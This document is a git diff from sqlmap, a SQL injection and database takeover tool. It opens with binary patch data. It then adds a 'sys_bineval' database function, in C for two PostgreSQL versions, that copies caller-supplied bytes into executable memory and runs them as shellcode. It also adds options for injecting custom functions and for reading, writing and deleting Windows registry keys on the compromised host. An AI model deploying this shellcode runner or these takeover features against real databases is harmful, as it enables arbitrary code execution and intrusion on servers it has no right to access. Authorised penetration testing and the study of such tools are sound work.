z1t9Dp)2?w#5}sc$q+eLg9Mk+Fdz{s9YLJorgmr_$ph+_4l~+RTz2DW@@;+Vf#qwEh z5VY|?CMJ0B7ym`vXU*XCDM%y2;xRp*brNzrzIEXB_zr&XX3NG51b_7AP1ax9T0I*( zM?Uxp!9|zShA*7v54YLp3KV~BsIwEB<*?^>#3v80n|i%$c)2BlaG~zP@<;kTn>u#j zEXO}#{~e2J%pg`hn!Y}4mpzlPl^+l(Md_WJN>DQd$;?tMQ{wL6AudeQ8`T-2kk zW%H&n4Zj)Oj>JRzTLz~HnE4@KaSR3DEr{B59s0_WP>c{oxk4gW?`>QQGWh@i{cZLv zxj2kY`GJTY)m=Il#1VPG5+NxMi(#7eX)R8tp`Yh5pPj==;gnQ=9OLK?+j?!PFDvHS zZKu=u*n%YU`QZ|kR>#*$gc`AkUZ#>8L}HDWpQ4&|_P;6BE5u42S|Qbz^2_y7k%}*u zmI&00nMsGae2sRGTrVmUX!p@`#B#AvEB5Q~TEK*>MJ30+^!+R1RTiTWHKOb|e-M9J zi%NhMx6X8M$aliPZ2a|JugYET&Y65Rl7|p7o!!?H^hHs^v&T&g2-r5c@H zDBmiVhv5v#*2%KFysTmzTQAn^W5LP_D^#i&g;2RIS*2&WQ&P-7qwG?xutXk~AuZ7e zlT+l{2fOSl-yPZ%af!aXJak`GZMF5MO`e=Xc}hv5C{mQVciTF~^8;#~RHgjePM-%o z>%|t&T(aWo*^7Erl*f*vy%mY4pMR#cDbzwk_;$9TD(}(P_1~}qseDV)1@ASU_xKH^ zfZ|DVnn)lbs$lt&^7K~e3jrzy-G3KXpl}l;z?7>+0>QUa6H5JpJ5r|qP*5h4l6yCF zSK{gvrRsg&rG)~KP@4d{3nVI4g%?pCW96z1N`Y>lTFl6YhtR#zq!bDC}H4wVq7HUs7pbmc6$)exSpAL0c~PlOS2GE{NBaXIr**0>`#> zs2S>^hJ$_OZ*(dlMbxcVgx+&~ng#?Rf`axZ1+B%9gFVO|s79u{ryI%#;hBj*@`52x?^Iz zF%%Lm9+A{rIx}lnTt!4mBRsI~ewhez5Dps^3}RA=j~oW%d=g?cTml~e;WQc)4mgru zSACuVL9BSxBk#;9(r(C{0I{C}2S^w?=K0W&I{^cI5sk85)#HI;7#w;A3t5#2iK*Vi zASI)a9igxvYivpz>QEqHBqn-6|F1W^mPRX19jT%PB4{_0=>Z85M-~4dK(A~FFEc*w zzPr~O_y}_pYp$%=do!sxTr(yFPowOQJ3_Fa7f_Y>`ACYQD?Bs;29KZu6x@R1cGy6+ zR#OU0C*A{#jauLAqT55E%O`<02rPS5*hHsQl|(%e1RKrq+|Plz+^{RqfU|{$e+mh2 zapEly{}u}&5d7nW)9EU`HPu_d2!Jpj01zOq%jPc7vkhkWk4^V=S#XG}5A}}wMgW+1 zfpz8ITK0Jl0H}2-;jMl51c0M1rMrl6)stN0yO6r5cG2kKsEfA~p#Thk0|)>Ktn3=s yaw^w||GR3mEmRU6RU%c2D~0lw^`tfbJ+nzfyla5^|Nj^6GH=G;>Doiehx{8Zh#))w delta 3049 zcmXw*dsI_b8pZF;^M)i4ULin$NO)BNfdmx;f;=h;Vj#RCU@BqSu}COk&rVv(^J z7^$JY(6NqnY@HTS5V2Slq4=m($2t@n5vev1`8v}4=56~Ipm_GnTV2`;5<|2Z;-GYm_n^Gj~#iY zNvO4cfGsFu7$~B|gj;rt)m%bYN+Hs57Mp1Z1uco%ppQ*fgKUF?N{>?Y*Zv8DEGzTFlPG7_?*N zqp|}#ifE>*65h?Bq7`!={I-1{vjhv={snQ~5+D1yfL?6Gz3zVw5l@-0Tt%Hn34F8g ziEg4@EFQtoeaE=@gzN^Jk;uE8u&KX32*@ROFWELyqad81lz~25 zW@b8I4!vkh3eD&kLo8#|!U)Q!uc7re432;%3M17-zuD-(O%1blzi?`}S0ndekxbQB zqI)YUEu4_XIAO1^aGbU71VOKR)Mpo5HFzkV;lBt~0nf3a$#%;_#ec`iS3|+rqf66O zxJ~mD4@a(3RDOFXLF2I}8J7t?SBahNH81@_yf|aQIwcI^C#Jt4U2neDpXjWs-Y z4rMgfK=tTLg5a7yvpybut=g}dICqF_c#bU(;!HD2HQjd#&rj#NClB>Jwt25vKb;e^ zo`Jv9t0|a;3|);B9L)dxH&Yg~GTGzFDTTmtr45@j z5bNzYWB5_4pwIC4T*;kVp$~L|O-}&4**U{DRF}>k>_=@W!MK(w%V@K7NtH5FQ$czUtOJ8u#8}HF;1@jtMi-t}DlX zlZP_kXSSu5cFl@6ckLM9N!-5p$>;5HwTlk-@3k^9fo@yFj{z$0p={oT-kh4`92%Wa zAud|s|FbZh5gdY-EaD)@>(V45yV0H1=;PKH&9_t{jK(-xX%lM&i5}X?PwVu7h=jne zYAVx!Fm&$FZnua}b8WYepqc#= z*dMQb${Q}>p9s-3L(|uq_+p1z_5-)jpIf1U5G`m7(2wK31)uQPGWkBDIdb$7tHD%5-)@Z zhV;)=PCKm!EEyYA_9MF2M0T6vtlZHqthYiVx-yg&7+J#mPCY3P zvYi)6Qr~nL&)LWSzW-vFtI!joL4wsilLg)Zeb4-+sAFJ5@5DU^{02`z+-mxDd^kh3 z_W*b!?)c?5XP8#E150}&xw7EXyjWsF^30aC-1OrvUootL^Nuo#l=0m^XQ}wz;+MHI z%h2zaS+ZKx_~s>JZ}Ra!9GH6*dvb19vALLo(EC4ibbPGdo4L--xXRG$`LhzV5jbuR zyK=2l`Kj?$xcOK1IfKD077dJrLJVwRi)P~o_V|`-`>f`{ob(Ia6 z8X^-mNea5-_j9>i8SzklVKMFum#fGIfL4cU07nEmt*caD_PIH8@p1)8`3*h+)Td&# zjZrn3E{wD+QL+d_F|1^3E8pG~y!zr;ZwCM3jed`$m4(S#nNb6m8!*&@VF*WBF6W3~ zgF#uo87W*X*N~NnK`%9E_2K8v*|5B*G@d9sB_l_eyqd&=kus*PZ~_~(BMPY=F02SL zO4SmXPAAdnwJKOsEFGnv z_Pmsg0ri=rrjy0EJuIRyyDlum4O@EKt%?DzfelGUz5eZH*e94!ua&_FvQ{ptMhvhf zTd9FpBOfZ&@YnOqtrQj{D@#JP#-()A*-P`8Mp$1h#FuLI8fkef({a9Fs(_WOM5HA= zMV?fit}M|@bM4wo!AVlJ8quyrlHn5L=FPBPW3in%Uy&`!DOV)OBjwV_DN9P#hdP5& zTaK*r{7myf!FiW#k5RdXk}UOgUfZHZEMIGAWeJBhx}ESEG;_zoJ{{K>icKB z3kTdQw;pWZHN;9}N&{arO3&9gNca+|2H6Z%y{vt7%9$!x851R?a%BZwlBClm%=Z7B zFS~R>B8O#KyheJ(rBxYKr12ekxTL3=m1v6kgObh+9WGz*>I6^NC|tV4ThEuIYc%ZA zpX@a#t2|FGDL2L?YorgZ40g+W_55;Vc!XxL`9P(=8A99j<>xJerX9%K$YLFw^VDIY zEyYPj?uuA>j&keUm$}z&nY7xZ*`bnd|J-tkp*n`$EmY9G8r^qE^b3oGIjBGU&hZ zP;n1^M~}~xlJUg^%WYpYVQaVbTW~RsOwt9BJ8Ql#?P>BCx+QGrh_Ewpoq#o>BN{R6M>rL!Sq$hGEFj2f2^9%RRB zZe;w}8i5PGykT}z#~`Aw8}C58HkAMELm=zR4NahS9Z4zlO=NomV`fVe*X3xI=+BM{ zv|#_gnlCv00*0B7F#18VS?25yo!F1P{d!wdW1$Fu!SDwd;KJjlPRQj8e9p}KqD$HV z0N{d;_?~<90Pt*qxdi|Q0MsqOSfFJA&RZ7z;R_@zkhMU;0&f#=03INiJ(>Ibnl{oFhNLMXk6zOoC-A8;R5~#(g)l# diff --git a/extra/postgresqludfsys/lib_postgresqludf_sys/windows/lib_postgresqludf_sys.sql b/extra/postgresqludfsys/lib_postgresqludf_sys/windows/lib_postgresqludf_sys.sql index f129ab905..f5b12056c 100644 --- a/extra/postgresqludfsys/lib_postgresqludf_sys/windows/lib_postgresqludf_sys.sql +++ b/extra/postgresqludfsys/lib_postgresqludf_sys/windows/lib_postgresqludf_sys.sql @@ -21,3 +21,4 @@ CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS 'lib_postgresqludf_sys.dll', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE; CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS 'lib_postgresqludf_sys.dll', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE; +CREATE OR REPLACE FUNCTION sys_bineval(text) RETURNS int4 AS 'lib_postgresqludf_sys.dll', 'sys_bineval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE; diff --git a/extra/postgresqludfsys/lib_postgresqludf_sys/windows/src/8.2/lib_postgresqludf_sys.c b/extra/postgresqludfsys/lib_postgresqludf_sys/windows/src/8.2/lib_postgresqludf_sys.c index aee918632..ffc890e9c 100755 --- a/extra/postgresqludfsys/lib_postgresqludf_sys/windows/src/8.2/lib_postgresqludf_sys.c +++ b/extra/postgresqludfsys/lib_postgresqludf_sys/windows/src/8.2/lib_postgresqludf_sys.c @@ -25,14 +25,23 @@ #define BUILDING_DLL 1 #else #define DLLEXP +#include +#include +#include +#include #endif #include #include #include +#include #include +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) +DWORD WINAPI exec_payload(LPVOID lpParameter); +#endif + #ifdef PG_MODULE_MAGIC PG_MODULE_MAGIC; #endif @@ -108,4 +117,76 @@ extern DLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) { memcpy(VARDATA(result_text), result, strlen(result)); PG_RETURN_POINTER(result_text); -} \ No newline at end of file +} + +PG_FUNCTION_INFO_V1(sys_bineval); +extern DLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) { + text *argv0 = PG_GETARG_TEXT_P(0); + int32 argv0_size; + size_t len; + +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) + int pID; + char *code; +#else + int *addr; + size_t page_size; + pid_t pID; +#endif + + argv0_size = VARSIZE(argv0) - VARHDRSZ; + len = (size_t)argv0_size; + +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) + // allocate a +rwx memory page + code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE); + strncpy(code, VARDATA(argv0), len); + + WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE); +#else + pID = fork(); + if(pID<0) + PG_RETURN_INT32(1); + + if(pID==0) + { + page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size + page_size = (len+page_size) & ~(page_size); // align to page boundary + + // mmap an rwx memory page + addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0); + + if (addr == MAP_FAILED) + PG_RETURN_INT32(1); + + strncpy((char *)addr, VARDATA(argv0), len); + + ((void (*)(void))addr)(); + } + + if(pID>0) + waitpid(pID, 0, WNOHANG); +#endif + + PG_RETURN_INT32(0); +} + +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) +DWORD WINAPI exec_payload(LPVOID lpParameter) +{ + __try + { + __asm + { + mov eax, [lpParameter] + call eax + } + } + __except(EXCEPTION_EXECUTE_HANDLER) + { + + } + + return 0; +} +#endif diff --git a/extra/postgresqludfsys/lib_postgresqludf_sys/windows/src/8.3/lib_postgresqludf_sys.c b/extra/postgresqludfsys/lib_postgresqludf_sys/windows/src/8.3/lib_postgresqludf_sys.c index b07fbb56c..48cabdcc2 100644 --- a/extra/postgresqludfsys/lib_postgresqludf_sys/windows/src/8.3/lib_postgresqludf_sys.c +++ b/extra/postgresqludfsys/lib_postgresqludf_sys/windows/src/8.3/lib_postgresqludf_sys.c @@ -25,14 +25,23 @@ #define BUILDING_DLL 1 #else #define DLLEXP +#include +#include +#include +#include #endif #include #include #include +#include #include +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) +DWORD WINAPI exec_payload(LPVOID lpParameter); +#endif + #ifdef PG_MODULE_MAGIC PG_MODULE_MAGIC; #endif @@ -109,3 +118,75 @@ extern PGDLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) { PG_RETURN_POINTER(result_text); } + +PG_FUNCTION_INFO_V1(sys_bineval); +extern PGDLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) { + text *argv0 = PG_GETARG_TEXT_P(0); + int32 argv0_size; + size_t len; + +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) + int pID; + char *code; +#else + int *addr; + size_t page_size; + pid_t pID; +#endif + + argv0_size = VARSIZE(argv0) - VARHDRSZ; + len = (size_t)argv0_size; + +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) + // allocate a +rwx memory page + code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE); + strncpy(code, VARDATA(argv0), len); + + WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE); +#else + pID = fork(); + if(pID<0) + PG_RETURN_INT32(1); + + if(pID==0) + { + page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size + page_size = (len+page_size) & ~(page_size); // align to page boundary + + // mmap an rwx memory page + addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0); + + if (addr == MAP_FAILED) + PG_RETURN_INT32(1); + + strncpy((char *)addr, VARDATA(argv0), len); + + ((void (*)(void))addr)(); + } + + if(pID>0) + waitpid(pID, 0, WNOHANG); +#endif + + PG_RETURN_INT32(0); +} + +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) +DWORD WINAPI exec_payload(LPVOID lpParameter) +{ + __try + { + __asm + { + mov eax, [lpParameter] + call eax + } + } + __except(EXCEPTION_EXECUTE_HANDLER) + { + + } + + return 0; +} +#endif diff --git a/lib/controller/action.py b/lib/controller/action.py index c5202d123..ed0f59e0c 100644 --- a/lib/controller/action.py +++ b/lib/controller/action.py @@ -125,6 +125,10 @@ def action(): if conf.sqlShell: conf.dbmsHandler.sqlShell() + # User-defined function options + if conf.udfInject: + conf.dbmsHandler.udfInjectCustom() + # File system options if conf.rFile: dumper.string("%s file saved to" % conf.rFile, conf.dbmsHandler.readFile(conf.rFile), sort=False) @@ -148,6 +152,16 @@ def action(): if conf.osBof: conf.dbmsHandler.osBof() + # Windows registry options + if conf.regRead: + dumper.string("Registry key value data", conf.dbmsHandler.regRead()) + + if conf.regAdd: + conf.dbmsHandler.regAdd() + + if conf.regDel: + conf.dbmsHandler.regDel() + # Miscellaneous options if conf.cleanup: conf.dbmsHandler.cleanup() diff --git a/lib/controller/controller.py b/lib/controller/controller.py index 7c35fd00b..9d03d1407 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -137,6 +137,7 @@ def start(): logMsg = "testing url %s" % targetUrl logger.info(logMsg) + createTargetDirs() initTargetEnv() if not checkConnection() or not checkString() or not checkRegexp(): @@ -259,7 +260,6 @@ def start(): if condition: checkForParenthesis() - createTargetDirs() action() if conf.loggedToOut: diff --git a/lib/core/common.py b/lib/core/common.py index ac96d2f40..c8eb0d794 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -431,6 +431,9 @@ def readInput(message, default=None): else: data = raw_input(message) + if not data: + data = default + return data diff --git a/lib/core/option.py b/lib/core/option.py index 1bac5e18f..b6eb4e966 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -861,7 +861,7 @@ def __setKnowledgeBaseAttributes(): kb.injType = None # Back-end DBMS underlying operating system fingerprint via banner (-b) - # parsing or when knowing the OS is mandatory (i.g. dealing with DEP) + # parsing kb.os = None kb.osVersion = None kb.osSP = None diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index 0da3c2825..1069eabcd 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -29,7 +29,7 @@ optDict = { "Target": { "url": "string", "list": "string", - "googleDork": "string", + "googleDork": "string" }, "Request": { @@ -45,7 +45,7 @@ optDict = { "proxy": "string", "threads": "integer", "delay": "float", - "timeout": "float", + "timeout": "float" }, "Injection": { @@ -57,7 +57,7 @@ optDict = { "string": "string", "regexp": "string", "eString": "string", - "eRegexp": "string", + "eRegexp": "string" }, "Techniques": { @@ -65,11 +65,11 @@ optDict = { "timeTest": "boolean", "unionTest": "boolean", "uTech": "string", - "unionUse": "boolean", + "unionUse": "boolean" }, "Fingerprint": { - "extensiveFp": "boolean", + "extensiveFp": "boolean" }, "Enumeration": { @@ -92,14 +92,21 @@ optDict = { "excludeSysDbs": "boolean", "limitStart": "integer", "limitStop": "integer", + "firstChar": "integer", + "lastChar": "integer", "query": "string", - "sqlShell": "boolean", + "sqlShell": "boolean" + }, + + "User-defined function": { + "udfInject": "boolean", + "shLib": "string" }, "File system": { "rFile": "string", "wFile": "string", - "dFile": "string", + "dFile": "string" }, "Takeover": { @@ -110,7 +117,17 @@ optDict = { "osBof": "boolean", "privEsc": "boolean", "msfPath": "string", - "tmpPath": "string", + "tmpPath": "string" + }, + + "Windows": { + "regRead": "boolean", + "regAdd": "boolean", + "regDel": "boolean", + "regKey": "string", + "regVal": "string", + "regData": "string", + "regType": "string" }, "Miscellaneous": { @@ -119,6 +136,6 @@ optDict = { "updateAll": "boolean", "sessionFile": "string", "batch": "boolean", - "cleanup": "boolean", + "cleanup": "boolean" }, } diff --git a/lib/core/session.py b/lib/core/session.py index b8ce773d7..d41434703 100644 --- a/lib/core/session.py +++ b/lib/core/session.py @@ -260,17 +260,6 @@ def setRemoteTempPath(): dataToSessionFile("[%s][%s][%s][Remote temp path][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], conf.tmpPath)) -def setDEP(): - condition = ( - not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and - not kb.resumedQueries[conf.url].has_key("DEP") ) - ) - - if condition: - dataToSessionFile("[%s][%s][%s][DEP][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.dep)) - - - def resumeConfKb(expression, url, value): if expression == "String" and url == conf.url: string = value[:-1] @@ -460,10 +449,3 @@ def resumeConfKb(expression, url, value): logMsg = "resuming remote absolute path of temporary " logMsg += "files directory '%s' from session file" % conf.tmpPath logger.info(logMsg) - - elif expression == "DEP" and url == conf.url: - kb.dep = value[:-1] - - logMsg = "resuming DEP system policy value '%s' " % kb.dep - logMsg += "from session file" - logger.info(logMsg) diff --git a/lib/core/settings.py b/lib/core/settings.py index 0343ea058..73b39b578 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -30,7 +30,7 @@ import sys # sqlmap version and site -VERSION = "0.8-dev1" +VERSION = "0.8-rc1" VERSION_STRING = "sqlmap/%s" % VERSION SITE = "http://sqlmap.sourceforge.net" diff --git a/lib/core/target.py b/lib/core/target.py index 2fe346cf8..d7d2d32ef 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -33,6 +33,7 @@ from lib.core.common import parseTargetUrl from lib.core.convert import urldecode from lib.core.data import conf from lib.core.data import kb +from lib.core.data import logger from lib.core.data import paths from lib.core.dump import dumper from lib.core.exception import sqlmapFilePathException @@ -116,7 +117,12 @@ def __setOutputResume(): Check and set the output text file and the resume functionality. """ - if conf.sessionFile and os.path.exists(conf.sessionFile): + if not conf.sessionFile: + conf.sessionFile = "%s%ssession" % (conf.outputPath, os.sep) + + logger.info("using '%s' as session file" % conf.sessionFile) + + if os.path.exists(conf.sessionFile): readSessionFP = open(conf.sessionFile, "r") lines = readSessionFP.readlines() @@ -154,13 +160,12 @@ def __setOutputResume(): readSessionFP.close() - if conf.sessionFile: - try: - conf.sessionFP = open(conf.sessionFile, "a") - dataToSessionFile("\n[%s]\n" % time.strftime("%X %x")) - except IOError: - errMsg = "unable to write on the session file specified" - raise sqlmapFilePathException, errMsg + try: + conf.sessionFP = open(conf.sessionFile, "a") + dataToSessionFile("\n[%s]\n" % time.strftime("%X %x")) + except IOError: + errMsg = "unable to write on the session file specified" + raise sqlmapFilePathException, errMsg def __createFilesDir(): @@ -191,6 +196,25 @@ def __createDumpDir(): os.makedirs(conf.dumpPath, 0755) +def createTargetDirs(): + """ + Create the output directory. + """ + + conf.outputPath = "%s%s%s" % (paths.SQLMAP_OUTPUT_PATH, os.sep, conf.hostname) + + if not os.path.isdir(paths.SQLMAP_OUTPUT_PATH): + os.makedirs(paths.SQLMAP_OUTPUT_PATH, 0755) + + if not os.path.isdir(conf.outputPath): + os.makedirs(conf.outputPath, 0755) + + dumper.setOutputFile() + + __createDumpDir() + __createFilesDir() + + def initTargetEnv(): """ Initialize target environment. @@ -213,22 +237,3 @@ def initTargetEnv(): parseTargetUrl() __setRequestParams() __setOutputResume() - - -def createTargetDirs(): - """ - Create the output directory. - """ - - conf.outputPath = "%s%s%s" % (paths.SQLMAP_OUTPUT_PATH, os.sep, conf.hostname) - - if not os.path.isdir(paths.SQLMAP_OUTPUT_PATH): - os.makedirs(paths.SQLMAP_OUTPUT_PATH, 0755) - - if not os.path.isdir(conf.outputPath): - os.makedirs(conf.outputPath, 0755) - - dumper.setOutputFile() - - __createDumpDir() - __createFilesDir() diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index cea40f8d5..c132a3f8e 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -62,7 +62,6 @@ def cmdLineParser(): target.add_option("-c", dest="configFile", help="Load options from a configuration INI file") - # Request options request = OptionGroup(parser, "Request", "These options can be used " "to specify how to connect to the target url.") @@ -115,7 +114,6 @@ def cmdLineParser(): help="Retries when the connection timeouts " "(default 3)") - # Injection options injection = OptionGroup(parser, "Injection", "These options can be " "used to specify which parameters to test " @@ -156,7 +154,6 @@ def cmdLineParser(): help="Matches to be excluded before " "comparing page contents") - # Techniques options techniques = OptionGroup(parser, "Techniques", "These options can " "be used to test for specific SQL injection " @@ -191,7 +188,6 @@ def cmdLineParser(): "to retrieve the queries output. No " "need to go blind") - # Fingerprint options fingerprint = OptionGroup(parser, "Fingerprint") @@ -273,6 +269,12 @@ def cmdLineParser(): enumeration.add_option("--stop", dest="limitStop", type="int", help="Last query output entry to retrieve") + enumeration.add_option("--first", dest="firstChar", type="int", + help="First query output word character to retrieve") + + enumeration.add_option("--last", dest="lastChar", type="int", + help="Last query output word character to retrieve") + enumeration.add_option("--sql-query", dest="query", help="SQL statement to be executed") @@ -280,6 +282,16 @@ def cmdLineParser(): action="store_true", help="Prompt for an interactive SQL shell") + # User-defined function options + udf = OptionGroup(parser, "User-defined function injection", "These " + "options can be used to create custom user-defined " + "functions.") + + udf.add_option("--udf-inject", dest="udfInject", action="store_true", + help="Inject custom user-defined functions") + + udf.add_option("--shared-lib", dest="shLib", + help="Local path of the shared library") # File system options filesystem = OptionGroup(parser, "File system access", "These options " @@ -335,6 +347,33 @@ def cmdLineParser(): help="Remote absolute path of temporary files " "directory") + # Windows registry options + windows = OptionGroup(parser, "Windows registry access", "This " + "option can be used to access the back-end " + "database management system Windows " + "registry.") + + windows.add_option("--reg-read", dest="regRead", action="store_true", + help="Read a Windows registry key value") + + windows.add_option("--reg-add", dest="regAdd", action="store_true", + help="Write a Windows registry key value data") + + windows.add_option("--reg-del", dest="regDel", action="store_true", + help="Delete a Windows registry key value") + + windows.add_option("--reg-key", dest="regKey", + help="Windows registry key") + + windows.add_option("--reg-value", dest="regVal", + help="Windows registry key value") + + windows.add_option("--reg-data", dest="regData", + help="Windows registry key value data") + + windows.add_option("--reg-type", dest="regType", + help="Windows registry key value type") + # Miscellaneous options miscellaneous = OptionGroup(parser, "Miscellaneous") @@ -365,8 +404,10 @@ def cmdLineParser(): parser.add_option_group(techniques) parser.add_option_group(fingerprint) parser.add_option_group(enumeration) + parser.add_option_group(udf) parser.add_option_group(filesystem) parser.add_option_group(takeover) + parser.add_option_group(windows) parser.add_option_group(miscellaneous) (args, _) = parser.parse_args() diff --git a/lib/parse/queriesfile.py b/lib/parse/queriesfile.py index f256c7ac7..379f5d8b6 100644 --- a/lib/parse/queriesfile.py +++ b/lib/parse/queriesfile.py @@ -134,6 +134,10 @@ class queriesHandler(ContentHandler): data = sanitizeStr(attrs.get("query")) self.__queries.isDba = data + elif name == "check_udf": + data = sanitizeStr(attrs.get("query")) + self.__queries.checkUdf = data + elif name == "inband": self.__inband = sanitizeStr(attrs.get("query")) self.__inband2 = sanitizeStr(attrs.get("query2")) diff --git a/lib/request/inject.py b/lib/request/inject.py index 54d4d601f..1e089080b 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -45,7 +45,7 @@ from lib.utils.resume import queryOutputLength from lib.utils.resume import resume -def __goInference(payload, expression, charsetType=None): +def __goInference(payload, expression, charsetType=None, firstChar=None, lastChar=None): start = time.time() if ( conf.eta or conf.threads > 1 ) and kb.dbms: @@ -55,7 +55,7 @@ def __goInference(payload, expression, charsetType=None): dataToSessionFile("[%s][%s][%s][%s][" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression)) - count, value = bisection(payload, expression, length, charsetType) + count, value = bisection(payload, expression, length, charsetType, firstChar, lastChar) duration = int(time.time() - start) if conf.eta and length: @@ -68,7 +68,7 @@ def __goInference(payload, expression, charsetType=None): return value -def __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected=None, num=None, resumeValue=True, charsetType=None): +def __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected=None, num=None, resumeValue=True, charsetType=None, firstChar=None, lastChar=None): outputs = [] origExpr = None @@ -96,7 +96,7 @@ def __goInferenceFields(expression, expressionFields, expressionFieldsList, payl warnMsg += "sqlmap is going to retrieve the value again" logger.warn(warnMsg) - output = __goInference(payload, expressionReplaced, charsetType) + output = __goInference(payload, expressionReplaced, charsetType, firstChar, lastChar) if isinstance(num, int): expression = origExpr @@ -106,7 +106,7 @@ def __goInferenceFields(expression, expressionFields, expressionFieldsList, payl return outputs -def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, resumeValue=True, unpack=True, charsetType=None): +def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, resumeValue=True, unpack=True, charsetType=None, firstChar=None, lastChar=None): """ Retrieve the output of a SQL query characted by character taking advantage of an blind SQL injection vulnerability on the affected @@ -133,7 +133,7 @@ def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, r return output if unpack == False: - return __goInference(payload, expression, charsetType) + return __goInference(payload, expression, charsetType, firstChar, lastChar) if kb.dbmsDetected: _, _, _, _, _, expressionFieldsList, expressionFields = agent.getFields(expression) @@ -226,7 +226,7 @@ def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, r if not stopLimit: if not count or not count.isdigit(): - count = __goInference(payload, countedExpression, charsetType) + count = __goInference(payload, countedExpression, charsetType, firstChar, lastChar) if count and count.isdigit() and int(count) > 0: count = int(count) @@ -297,7 +297,7 @@ def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, r return None for num in xrange(startLimit, stopLimit): - output = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, num, resumeValue=resumeValue, charsetType=charsetType) + output = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, num, resumeValue=resumeValue, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar) outputs.append(output) return outputs @@ -305,12 +305,12 @@ def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, r elif kb.dbms == "Oracle" and expression.startswith("SELECT ") and " FROM " not in expression: expression = "%s FROM DUAL" % expression - outputs = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, resumeValue=resumeValue, charsetType=charsetType) + outputs = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, resumeValue=resumeValue, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar) returnValue = ", ".join([output for output in outputs]) else: - returnValue = __goInference(payload, expression, charsetType) + returnValue = __goInference(payload, expression, charsetType, firstChar, lastChar) return returnValue @@ -345,7 +345,7 @@ def __goInband(expression, expected=None, sort=True, resumeValue=True, unpack=Tr return data -def getValue(expression, blind=True, inband=True, fromUser=False, expected=None, batch=False, unpack=True, sort=True, resumeValue=True, charsetType=None): +def getValue(expression, blind=True, inband=True, fromUser=False, expected=None, batch=False, unpack=True, sort=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None): """ Called each time sqlmap inject a SQL query on the SQL injection affected parameter. It can call a function to retrieve the output @@ -375,7 +375,7 @@ def getValue(expression, blind=True, inband=True, fromUser=False, expected=None, conf.paramNegative = False if blind and not value: - value = __goInferenceProxy(expression, fromUser, expected, batch, resumeValue, unpack, charsetType) + value = __goInferenceProxy(expression, fromUser, expected, batch, resumeValue, unpack, charsetType, firstChar, lastChar) conf.paramFalseCond = oldParamFalseCond conf.paramNegative = oldParamNegative diff --git a/lib/takeover/abstraction.py b/lib/takeover/abstraction.py index 5a5f3ea8f..789e230ca 100644 --- a/lib/takeover/abstraction.py +++ b/lib/takeover/abstraction.py @@ -48,9 +48,22 @@ class Abstraction(UDF, xp_cmdshell): xp_cmdshell.__init__(self) + def __cmdShellCleanup(self): + if not conf.cleanup: + if kb.dbms in ( "MySQL", "PostgreSQL" ): + self.cleanup() + + elif kb.dbms == "Microsoft SQL Server": + self.cleanup(onlyFileTbl=True) + + else: + errMsg = "Feature not yet implemented for the back-end DBMS" + raise sqlmapUnsupportedFeatureException, errMsg + + def execCmd(self, cmd, silent=False, forgeCmd=False): if kb.dbms in ( "MySQL", "PostgreSQL" ): - self.udfExecCmd(cmd, silent) + self.udfExecCmd(cmd, silent=silent) elif kb.dbms == "Microsoft SQL Server": self.xpCmdshellExecCmd(cmd, silent, forgeCmd) @@ -60,12 +73,12 @@ class 